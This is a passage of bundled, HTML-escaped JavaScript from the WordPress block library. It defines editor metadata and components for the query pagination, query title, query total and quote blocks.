          displayArrow &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime409.jsx)(
            &quot;span&quot;,
            {
              className: `wp-block-query-pagination-next-arrow is-arrow-${paginationArrow}`,
              &quot;aria-hidden&quot;: true,
              children: displayArrow
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/query-pagination-next/index.mjs
  var { name: name87 } = block_default86;
  var settings86 = {
    icon: query_pagination_next_default,
    edit: QueryPaginationNextEdit
  };
  var init86 = () =&gt; initBlock({ name: name87, metadata: block_default86, settings: settings86 });

  // packages/block-library/build-module/query-pagination-numbers/index.mjs
  var query_pagination_numbers_exports = {};
  __export(query_pagination_numbers_exports, {
    init: () =&gt; init87,
    metadata: () =&gt; block_default87,
    name: () =&gt; name88,
    settings: () =&gt; settings87
  });

  // packages/block-library/build-module/query-pagination-numbers/block.json
  var block_default87 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query-pagination-numbers&quot;,
    title: &quot;Page Numbers&quot;,
    category: &quot;theme&quot;,
    parent: [&quot;core/query-pagination&quot;],
    description: &quot;Displays a list of page numbers for pagination.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      midSize: {
        type: &quot;number&quot;,
        default: 2
      }
    },
    usesContext: [&quot;queryId&quot;, &quot;query&quot;, &quot;enhancedPagination&quot;],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-query-pagination-numbers-editor&quot;
  };

  // packages/block-library/build-module/query-pagination-numbers/edit.mjs
  var import_i18n209 = __toESM(require_i18n(), 1);
  var import_block_editor220 = __toESM(require_block_editor(), 1);
  var import_components137 = __toESM(require_components(), 1);
  var import_jsx_runtime410 = __toESM(require_jsx_runtime(), 1);
  var createPaginationItem = (content, Tag = &quot;a&quot;, extraClass = &quot;&quot;) =&gt; /* @__PURE__ */ (0, import_jsx_runtime410.jsx)(Tag, { className: `page-numbers ${extraClass}`, children: content }, content);
  var previewPaginationNumbers = (midSize) =&gt; {
    const paginationItems = [];
    for (let i2 = 1; i2 &lt;= midSize; i2++) {
      paginationItems.push(createPaginationItem(i2));
    }
    paginationItems.push(
      createPaginationItem(midSize + 1, &quot;span&quot;, &quot;current&quot;)
    );
    for (let i2 = 1; i2 &lt;= midSize; i2++) {
      paginationItems.push(createPaginationItem(midSize + 1 + i2));
    }
    paginationItems.push(createPaginationItem(&quot;...&quot;, &quot;span&quot;, &quot;dots&quot;));
    paginationItems.push(createPaginationItem(midSize * 2 + 3));
    return /* @__PURE__ */ (0, import_jsx_runtime410.jsx)(import_jsx_runtime410.Fragment, { children: paginationItems });
  };
  function QueryPaginationNumbersEdit({
    attributes: attributes2,
    setAttributes
  }) {
    const { midSize } = attributes2;
    const paginationNumbers = previewPaginationNumbers(
      parseInt(midSize, 10)
    );
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime410.jsxs)(import_jsx_runtime410.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime410.jsx)(import_block_editor220.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime410.jsx)(
        import_components137.__experimentalToolsPanel,
        {
          label: (0, import_i18n209.__)(&quot;Settings&quot;),
          resetAll: () =&gt; setAttributes({ midSize: 2 }),
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime410.jsx)(
            import_components137.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n209.__)(&quot;Number of links&quot;),
              hasValue: () =&gt; midSize !== 2,
              onDeselect: () =&gt; setAttributes({ midSize: 2 }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime410.jsx)(
                import_components137.RangeControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n209.__)(&quot;Number of links&quot;),
                  help: (0, import_i18n209.__)(
                    &quot;Specify how many links can appear before and after the current page number. Links to the first, current and last page are always visible.&quot;
                  ),
                  value: midSize,
                  onChange: (value) =&gt; {
                    setAttributes({
                      midSize: parseInt(value, 10)
                    });
                  },
                  min: 0,
                  max: 5,
                  withInputField: false
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime410.jsx)(&quot;div&quot;, { ...(0, import_block_editor220.useBlockProps)(), children: paginationNumbers })
    ] });
  }

  // packages/block-library/build-module/query-pagination-numbers/index.mjs
  var { name: name88 } = block_default87;
  var settings87 = {
    icon: query_pagination_numbers_default,
    edit: QueryPaginationNumbersEdit,
    example: {}
  };
  var init87 = () =&gt; initBlock({ name: name88, metadata: block_default87, settings: settings87 });

  // packages/block-library/build-module/query-pagination-previous/index.mjs
  var query_pagination_previous_exports = {};
  __export(query_pagination_previous_exports, {
    init: () =&gt; init88,
    metadata: () =&gt; block_default88,
    name: () =&gt; name89,
    settings: () =&gt; settings88
  });

  // packages/block-library/build-module/query-pagination-previous/block.json
  var block_default88 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query-pagination-previous&quot;,
    title: &quot;Previous Page&quot;,
    category: &quot;theme&quot;,
    parent: [&quot;core/query-pagination&quot;],
    description: &quot;Displays the previous posts page link.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;
      }
    },
    usesContext: [
      &quot;queryId&quot;,
      &quot;query&quot;,
      &quot;paginationArrow&quot;,
      &quot;showLabel&quot;,
      &quot;enhancedPagination&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/query-pagination-previous/edit.mjs
  var import_i18n210 = __toESM(require_i18n(), 1);
  var import_block_editor221 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime411 = __toESM(require_jsx_runtime(), 1);
  var arrowMap4 = {
    none: &quot;&quot;,
    arrow: &quot;\u2190&quot;,
    chevron: &quot;\xAB&quot;
  };
  function QueryPaginationPreviousEdit({
    attributes: { label },
    setAttributes,
    context: { paginationArrow, showLabel }
  }) {
    const displayArrow = arrowMap4[paginationArrow];
    return /* @__PURE__ */ (0, import_jsx_runtime411.jsxs)(
      &quot;a&quot;,
      {
        href: &quot;#pagination-previous-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        ...(0, import_block_editor221.useBlockProps)(),
        children: [
          displayArrow &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime411.jsx)(
            &quot;span&quot;,
            {
              className: `wp-block-query-pagination-previous-arrow is-arrow-${paginationArrow}`,
              &quot;aria-hidden&quot;: true,
              children: displayArrow
            }
          ),
          showLabel &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime411.jsx)(
            import_block_editor221.PlainText,
            {
              __experimentalVersion: 2,
              tagName: &quot;span&quot;,
              &quot;aria-label&quot;: (0, import_i18n210.__)(&quot;Previous page link&quot;),
              placeholder: (0, import_i18n210.__)(&quot;Previous Page&quot;),
              value: label,
              onChange: (newLabel) =&gt; setAttributes({ label: newLabel })
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/query-pagination-previous/index.mjs
  var { name: name89 } = block_default88;
  var settings88 = {
    icon: query_pagination_previous_default,
    edit: QueryPaginationPreviousEdit
  };
  var init88 = () =&gt; initBlock({ name: name89, metadata: block_default88, settings: settings88 });

  // packages/block-library/build-module/query-title/index.mjs
  var query_title_exports = {};
  __export(query_title_exports, {
    init: () =&gt; init89,
    metadata: () =&gt; block_default89,
    name: () =&gt; name90,
    settings: () =&gt; settings89
  });

  // packages/block-library/build-module/query-title/block.json
  var block_default89 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query-title&quot;,
    title: &quot;Query Title&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display the query title.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      type: {
        type: &quot;string&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 1
      },
      levelOptions: {
        type: &quot;array&quot;
      },
      showPrefix: {
        type: &quot;boolean&quot;,
        default: true
      },
      showSearchTerm: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    example: {
      attributes: {
        type: &quot;search&quot;
      }
    },
    usesContext: [&quot;query&quot;],
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-query-title&quot;
  };

  // packages/block-library/build-module/query-title/edit.mjs
  var import_block_editor222 = __toESM(require_block_editor(), 1);
  var import_components138 = __toESM(require_components(), 1);
  var import_i18n211 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/query-title/use-archive-label.mjs
  var import_core_data75 = __toESM(require_core_data(), 1);
  var import_data125 = __toESM(require_data(), 1);
  function useArchiveLabel() {
    const templateSlug = (0, import_data125.useSelect)((select9) =&gt; {
      const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select9(&quot;core/editor&quot;);
      const currentPostType = getCurrentPostType();
      const templateId = getCurrentTemplateId() || (currentPostType === &quot;wp_template&quot; ? getCurrentPostId() : null);
      return templateId ? select9(import_core_data75.store).getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template&quot;,
        templateId
      )?.slug : null;
    }, []);
    const taxonomyMatches = templateSlug?.match(
      /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
    );
    let taxonomy;
    let term;
    let isAuthor = false;
    let authorSlug;
    if (taxonomyMatches) {
      if (taxonomyMatches[1]) {
        taxonomy = taxonomyMatches[2] ? taxonomyMatches[2] : taxonomyMatches[1];
      } else if (taxonomyMatches[3]) {
        taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
        term = taxonomyMatches[7];
      }
      taxonomy = taxonomy === &quot;tag&quot; ? &quot;post_tag&quot; : taxonomy;
    } else {
      const authorMatches = templateSlug?.match(/^(author)$|^author-(.+)$/);
      if (authorMatches) {
        isAuthor = true;
        if (authorMatches[2]) {
          authorSlug = authorMatches[2];
        }
      }
    }
    return (0, import_data125.useSelect)(
      (select9) =&gt; {
        const { getEntityRecords, getTaxonomy, getAuthors } = select9(import_core_data75.store);
        let archiveTypeLabel;
        let archiveNameLabel;
        if (taxonomy) {
          archiveTypeLabel = getTaxonomy(taxonomy)?.labels?.singular_name;
        }
        if (term) {
          const records = getEntityRecords(&quot;taxonomy&quot;, taxonomy, {
            slug: term,
            per_page: 1
          });
          if (records &amp;&amp; records[0]) {
            archiveNameLabel = records[0].name;
          }
        }
        if (isAuthor) {
          archiveTypeLabel = &quot;Author&quot;;
          if (authorSlug) {
            const authorRecords = getAuthors({ slug: authorSlug });
            if (authorRecords &amp;&amp; authorRecords[0]) {
              archiveNameLabel = authorRecords[0].name;
            }
          }
        }
        return {
          archiveTypeLabel,
          archiveNameLabel
        };
      },
      [authorSlug, isAuthor, taxonomy, term]
    );
  }

  // packages/block-library/build-module/query-title/use-post-type-label.mjs
  var import_core_data76 = __toESM(require_core_data(), 1);
  var import_data126 = __toESM(require_data(), 1);
  function usePostTypeLabel(contextPostType) {
    const currentPostType = (0, import_data126.useSelect)((select9) =&gt; {
      const { getCurrentPostType } = select9(&quot;core/editor&quot;);
      return getCurrentPostType();
    }, []);
    return (0, import_data126.useSelect)(
      (select9) =&gt; {
        const { getPostType } = select9(import_core_data76.store);
        const postTypeSlug = contextPostType || currentPostType;
        const postType = getPostType(postTypeSlug);
        return {
          postTypeLabel: postType ? postType.labels.singular_name : &quot;&quot;
        };
      },
      [contextPostType, currentPostType]
    );
  }

  // packages/block-library/build-module/query-title/edit.mjs
  var import_jsx_runtime412 = __toESM(require_jsx_runtime(), 1);
  var SUPPORTED_TYPES = [&quot;archive&quot;, &quot;search&quot;, &quot;post-type&quot;];
  function QueryTitleEdit({
    attributes: {
      type,
      level,
      levelOptions,
      textAlign,
      showPrefix,
      showSearchTerm
    },
    setAttributes,
    context: { query }
  }) {
    const { archiveTypeLabel, archiveNameLabel } = useArchiveLabel();
    const { postTypeLabel } = usePostTypeLabel(query?.postType);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const TagName2 = level === 0 ? &quot;p&quot; : `h${level}`;
    const blockProps = (0, import_block_editor222.useBlockProps)({
      className: clsx_default(&quot;wp-block-query-title__placeholder&quot;, {
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    if (!SUPPORTED_TYPES.includes(type)) {
      return /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(import_block_editor222.Warning, { children: (0, import_i18n211.__)(&quot;Provided type is not supported.&quot;) }) });
    }
    let titleElement;
    if (type === &quot;archive&quot;) {
      let title;
      if (archiveTypeLabel) {
        if (showPrefix) {
          if (archiveNameLabel) {
            title = (0, import_i18n211.sprintf)(
              /* translators: 1: Archive type title e.g: &quot;Category&quot;, 2: Label of the archive e.g: &quot;Shoes&quot; */
              (0, import_i18n211._x)(&quot;%1$s: %2$s&quot;, &quot;archive label&quot;),
              archiveTypeLabel,
              archiveNameLabel
            );
          } else {
            title = (0, import_i18n211.sprintf)(
              /* translators: %s: Archive type title e.g: &quot;Category&quot;, &quot;Tag&quot;... */
              (0, import_i18n211.__)(&quot;%s: Name&quot;),
              archiveTypeLabel
            );
          }
        } else if (archiveNameLabel) {
          title = archiveNameLabel;
        } else {
          title = (0, import_i18n211.sprintf)(
            /* translators: %s: Archive type title e.g: &quot;Category&quot;, &quot;Tag&quot;... */
            (0, import_i18n211.__)(&quot;%s name&quot;),
            archiveTypeLabel
          );
        }
      } else {
        title = showPrefix ? (0, import_i18n211.__)(&quot;Archive type: Name&quot;) : (0, import_i18n211.__)(&quot;Archive title&quot;);
      }
      titleElement = /* @__PURE__ */ (0, import_jsx_runtime412.jsxs)(import_jsx_runtime412.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(import_block_editor222.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
          import_components138.__experimentalToolsPanel,
          {
            label: (0, import_i18n211.__)(&quot;Settings&quot;),
            resetAll: () =&gt; setAttributes({
              showPrefix: true
            }),
            dropdownMenuProps,
            children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
              import_components138.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !showPrefix,
                label: (0, import_i18n211.__)(&quot;Show archive type in title&quot;),
                onDeselect: () =&gt; setAttributes({ showPrefix: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
                  import_components138.ToggleControl,
                  {
                    label: (0, import_i18n211.__)(&quot;Show archive type in title&quot;),
                    onChange: () =&gt; setAttributes({
                      showPrefix: !showPrefix
                    }),
                    checked: showPrefix
                  }
                )
              }
            )
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(TagName2, { ...blockProps, children: title })
      ] });
    }
    if (type === &quot;search&quot;) {
      titleElement = /* @__PURE__ */ (0, import_jsx_runtime412.jsxs)(import_jsx_runtime412.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(import_block_editor222.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
          import_components138.__experimentalToolsPanel,
          {
            label: (0, import_i18n211.__)(&quot;Settings&quot;),
            resetAll: () =&gt; setAttributes({
              showSearchTerm: true
            }),
            dropdownMenuProps,
            children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
              import_components138.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !showSearchTerm,
                label: (0, import_i18n211.__)(&quot;Show search term in title&quot;),
                onDeselect: () =&gt; setAttributes({ showSearchTerm: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
                  import_components138.ToggleControl,
                  {
                    label: (0, import_i18n211.__)(&quot;Show search term in title&quot;),
                    onChange: () =&gt; setAttributes({
                      showSearchTerm: !showSearchTerm
                    }),
                    checked: showSearchTerm
                  }
                )
              }
            )
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(TagName2, { ...blockProps, children: showSearchTerm ? (0, import_i18n211.__)(&quot;Search results for: \u201Csearch term\u201D&quot;) : (0, import_i18n211.__)(&quot;Search results&quot;) })
      ] });
    }
    if (type === &quot;post-type&quot;) {
      let title;
      if (postTypeLabel) {
        if (showPrefix) {
          title = (0, import_i18n211.sprintf)(
            /* translators: %s: Singular post type name of the queried object */
            (0, import_i18n211.__)(&#039;Post Type: &quot;%s&quot;&#039;),
            postTypeLabel
          );
        } else {
          title = postTypeLabel;
        }
      } else {
        title = showPrefix ? (0, import_i18n211.__)(&quot;Post Type: Name&quot;) : (0, import_i18n211.__)(&quot;Name&quot;);
      }
      titleElement = /* @__PURE__ */ (0, import_jsx_runtime412.jsxs)(import_jsx_runtime412.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(import_block_editor222.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
          import_components138.__experimentalToolsPanel,
          {
            label: (0, import_i18n211.__)(&quot;Settings&quot;),
            resetAll: () =&gt; setAttributes({
              showPrefix: true
            }),
            dropdownMenuProps,
            children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
              import_components138.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !showPrefix,
                label: (0, import_i18n211.__)(&quot;Show post type label&quot;),
                onDeselect: () =&gt; setAttributes({ showPrefix: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
                  import_components138.ToggleControl,
                  {
                    label: (0, import_i18n211.__)(&quot;Show post type label&quot;),
                    onChange: () =&gt; setAttributes({
                      showPrefix: !showPrefix
                    }),
                    checked: showPrefix
                  }
                )
              }
            )
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(TagName2, { ...blockProps, children: title })
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime412.jsxs)(import_jsx_runtime412.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime412.jsxs)(import_block_editor222.BlockControls, { group: &quot;block&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
          import_block_editor222.HeadingLevelDropdown,
          {
            value: level,
            options: levelOptions,
            onChange: (newLevel) =&gt; setAttributes({ level: newLevel })
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime412.jsx)(
          import_block_editor222.AlignmentControl,
          {
            value: textAlign,
            onChange: (nextAlign) =&gt; {
              setAttributes({ textAlign: nextAlign });
            }
          }
        )
      ] }),
      titleElement
    ] });
  }

  // packages/block-library/build-module/query-title/variations.mjs
  var import_i18n212 = __toESM(require_i18n(), 1);
  var variations14 = [
    {
      isDefault: true,
      name: &quot;archive-title&quot;,
      title: (0, import_i18n212.__)(&quot;Archive Title&quot;),
      description: (0, import_i18n212.__)(
        &quot;Display the archive title based on the queried object.&quot;
      ),
      icon: title_default,
      attributes: {
        type: &quot;archive&quot;
      },
      scope: [&quot;inserter&quot;]
    },
    {
      isDefault: false,
      name: &quot;search-title&quot;,
      title: (0, import_i18n212.__)(&quot;Search Results Title&quot;),
      description: (0, import_i18n212.__)(
        &quot;Display the search results title based on the queried object.&quot;
      ),
      icon: title_default,
      attributes: {
        type: &quot;search&quot;
      },
      scope: [&quot;inserter&quot;]
    },
    {
      isDefault: false,
      name: &quot;post-type-label&quot;,
      title: (0, import_i18n212.__)(&quot;Post Type Label&quot;),
      description: (0, import_i18n212.__)(
        &quot;Display the post type label based on the queried object.&quot;
      ),
      icon: title_default,
      attributes: {
        type: &quot;post-type&quot;
      },
      scope: [&quot;inserter&quot;]
    }
  ];
  variations14.forEach((variation) =&gt; {
    if (variation.isActive) {
      return;
    }
    variation.isActive = (blockAttributes8, variationAttributes) =&gt; blockAttributes8.type === variationAttributes.type;
  });
  var variations_default14 = variations14;

  // packages/block-library/build-module/query-title/deprecated.mjs
  var v137 = {
    attributes: {
      type: {
        type: &quot;string&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 1
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true
      },
      spacing: {
        margin: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default42 = [v137];

  // packages/block-library/build-module/query-title/index.mjs
  var { name: name90 } = block_default89;
  var settings89 = {
    icon: title_default,
    edit: QueryTitleEdit,
    variations: variations_default14,
    deprecated: deprecated_default42
  };
  var init89 = () =&gt; initBlock({ name: name90, metadata: block_default89, settings: settings89 });

  // packages/block-library/build-module/query-total/index.mjs
  var query_total_exports = {};
  __export(query_total_exports, {
    init: () =&gt; init90,
    metadata: () =&gt; block_default90,
    name: () =&gt; name91,
    settings: () =&gt; settings90
  });

  // packages/block-library/build-module/query-total/block.json
  var block_default90 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query-total&quot;,
    title: &quot;Query Total&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/query&quot;],
    description: &quot;Display the total number of results in a query.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      displayType: {
        type: &quot;string&quot;,
        default: &quot;total-results&quot;
      }
    },
    usesContext: [&quot;queryId&quot;, &quot;query&quot;],
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-query-total&quot;
  };

  // packages/block-library/build-module/query-total/edit.mjs
  var import_block_editor223 = __toESM(require_block_editor(), 1);
  var import_components140 = __toESM(require_components(), 1);
  var import_i18n213 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/query-total/icons.mjs
  var import_components139 = __toESM(require_components(), 1);
  var import_jsx_runtime413 = __toESM(require_jsx_runtime(), 1);
  var resultsFound = /* @__PURE__ */ (0, import_jsx_runtime413.jsx)(
    import_components139.SVG,
    {
      xmlns: &quot;http://www.w3.org/2000/svg&quot;,
      viewBox: &quot;0 0 24 24&quot;,
      width: &quot;24&quot;,
      height: &quot;24&quot;,
      &quot;aria-hidden&quot;: &quot;true&quot;,
      focusable: &quot;false&quot;,
      children: /* @__PURE__ */ (0, import_jsx_runtime413.jsx)(import_components139.Path, { d: &quot;M4 11h4v2H4v-2zm6 0h6v2h-6v-2zm8 0h2v2h-2v-2z&quot; })
    }
  );
  var displayingResults = /* @__PURE__ */ (0, import_jsx_runtime413.jsx)(
    import_components139.SVG,
    {
      xmlns: &quot;http://www.w3.org/2000/svg&quot;,
      viewBox: &quot;0 0 24 24&quot;,
      width: &quot;24&quot;,
      height: &quot;24&quot;,
      &quot;aria-hidden&quot;: &quot;true&quot;,
      focusable: &quot;false&quot;,
      children: /* @__PURE__ */ (0, import_jsx_runtime413.jsx)(import_components139.Path, { d: &quot;M4 13h2v-2H4v2zm4 0h10v-2H8v2zm12 0h2v-2h-2v2z&quot; })
    }
  );
  var queryTotal = /* @__PURE__ */ (0, import_jsx_runtime413.jsx)(
    import_components139.SVG,
    {
      xmlns: &quot;http://www.w3.org/2000/svg&quot;,
      viewBox: &quot;0 0 24 24&quot;,
      width: &quot;24&quot;,
      height: &quot;24&quot;,
      &quot;aria-hidden&quot;: &quot;true&quot;,
      focusable: &quot;false&quot;,
      children: /* @__PURE__ */ (0, import_jsx_runtime413.jsx)(import_components139.Path, { d: &quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2Zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12Zm-7-6-4.1 5h8.8v-3h-1.5v1.5h-4.2l2.9-3.5-2.9-3.5h4.2V10h1.5V7H7.4l4.1 5Z&quot; })
    }
  );

  // packages/block-library/build-module/query-total/edit.mjs
  var import_jsx_runtime414 = __toESM(require_jsx_runtime(), 1);
  function QueryTotalEdit({ attributes: attributes2, setAttributes }) {
    const { displayType } = attributes2;
    const blockProps = (0, import_block_editor223.useBlockProps)();
    const getButtonPositionIcon = () =&gt; {
      switch (displayType) {
        case &quot;total-results&quot;:
          return resultsFound;
        case &quot;range-display&quot;:
          return displayingResults;
      }
    };
    const buttonPositionControls = [
      {
        role: &quot;menuitemradio&quot;,
        title: (0, import_i18n213.__)(&quot;Total results&quot;),
        isActive: displayType === &quot;total-results&quot;,
        icon: resultsFound,
        onClick: () =&gt; {
          setAttributes({ displayType: &quot;total-results&quot; });
        }
      },
      {
        role: &quot;menuitemradio&quot;,
        title: (0, import_i18n213.__)(&quot;Range display&quot;),
        isActive: displayType === &quot;range-display&quot;,
        icon: displayingResults,
        onClick: () =&gt; {
          setAttributes({ displayType: &quot;range-display&quot; });
        }
      }
    ];
    const controls = /* @__PURE__ */ (0, import_jsx_runtime414.jsx)(import_block_editor223.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime414.jsx)(import_components140.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime414.jsx)(
      import_components140.ToolbarDropdownMenu,
      {
        icon: getButtonPositionIcon(),
        label: (0, import_i18n213.__)(&quot;Change display type&quot;),
        controls: buttonPositionControls
      }
    ) }) });
    const renderDisplay = () =&gt; {
      if (displayType === &quot;total-results&quot;) {
        return /* @__PURE__ */ (0, import_jsx_runtime414.jsx)(import_jsx_runtime414.Fragment, { children: (0, import_i18n213.__)(&quot;12 results found&quot;) });
      }
      if (displayType === &quot;range-display&quot;) {
        return /* @__PURE__ */ (0, import_jsx_runtime414.jsx)(import_jsx_runtime414.Fragment, { children: (0, import_i18n213.__)(&quot;Displaying 1 \u2013 10 of 12&quot;) });
      }
      return null;
    };
    return /* @__PURE__ */ (0, import_jsx_runtime414.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      controls,
      renderDisplay()
    ] });
  }

  // packages/block-library/build-module/query-total/index.mjs
  var { name: name91 } = block_default90;
  var settings90 = {
    icon: queryTotal,
    edit: QueryTotalEdit
  };
  var init90 = () =&gt; initBlock({ name: name91, metadata: block_default90, settings: settings90 });

  // packages/block-library/build-module/quote/index.mjs
  var quote_exports = {};
  __export(quote_exports, {
    init: () =&gt; init91,
    metadata: () =&gt; block_default91,
    name: () =&gt; name92,
    settings: () =&gt; settings91
  });
  var import_i18n215 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/quote/deprecated.mjs
  var import_blocks98 = __toESM(require_blocks(), 1);
  var import_block_editor224 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime415 = __toESM(require_jsx_runtime(), 1);
  var migrateToQuoteV2 = (attributes2) =&gt; {
    const { value, ...restAttributes } = attributes2;
    return [
      {
        ...restAttributes
      },
      value ? (0, import_blocks98.parseWithAttributeSchema)(value, {
        type: &quot;array&quot;,
        source: &quot;query&quot;,
        selector: &quot;p&quot;,
        query: {
          content: {
            type: &quot;string&quot;,
            source: &quot;html&quot;
          }
        }
      }).map(
        ({ content }) =&gt; (0, import_blocks98.createBlock)(&quot;core/paragraph&quot;, { content })
      ) : (0, import_blocks98.createBlock)(&quot;core/paragraph&quot;)
    ];
  };
  var TEXT_ALIGN_OPTIONS2 = [&quot;left&quot;, &quot;right&quot;, &quot;center&quot;];
